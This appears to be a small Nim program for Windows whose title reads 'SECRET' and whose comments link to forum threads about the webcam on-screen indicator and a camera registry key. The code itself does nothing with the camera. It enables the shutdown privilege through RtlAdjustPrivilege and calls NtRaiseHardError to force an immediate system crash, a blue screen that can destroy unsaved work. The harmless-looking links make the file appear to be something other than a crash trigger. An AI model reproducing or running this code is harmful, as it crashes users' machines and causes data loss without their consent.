#  ____  _____ ____ ____  _____ _____ 
# / ___|| ____/ ___|  _ \| ____|_   _|
# \___ \|  _|| |   | |_) |  _|   | |
#  ___) | |__| |___|  _ <| |___  | |
# |____/|_____\____|_| \_\_____| |_|

# SECRET


# https://answers.microsoft.com/en-us/windows/forum/all/enable-osd-notification-for-webcam/caf1fff4-78d3-4b93-905b-ef657097a44e
# https://www.reddit.com/r/Windows11/comments/z5hj0q/til_even_the_camera_indicatoroverlay_gained_the/
# https://www.elevenforum.com/t/enable-or-disable-camera-on-off-osd-indicator-in-windows-11.10774/
# https://duckduckgo.com/?q=HKLM%5C%5CSOFTWARE%5C%5CMicrosoft%5C%5COEM%5C%5CDevice%5C%5CCapture%5C

import winim


proc RtlAdjustPrivilege*(privilege: ULONG, bEnablePrivilege: BOOLEAN, isThreadPrivilege: BOOLEAN, previousValue: PBOOLEAN): NTSTATUS
    {.discardable, stdcall, dynlib: "ntdll", importc: "RtlAdjustPrivilege".}

proc NtRaiseHardError*(errorStatus: NTSTATUS, numberOfParameters: ULONG, unicodeStringParameterMask: ULONG, parameters: PULONG_PTR, validResponseOption: ULONG, response: PULONG): NTSTATUS
    {.discardable, stdcall, dynlib: "ntdll", importc: "NtRaiseHardError".}

var 
    prev: BOOLEAN
    response: ULONG

# SE_SHUTDOWN_PRIVILEGE = 19
RtlAdjustPrivilege(19, TRUE, FALSE, &prev)
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &response);

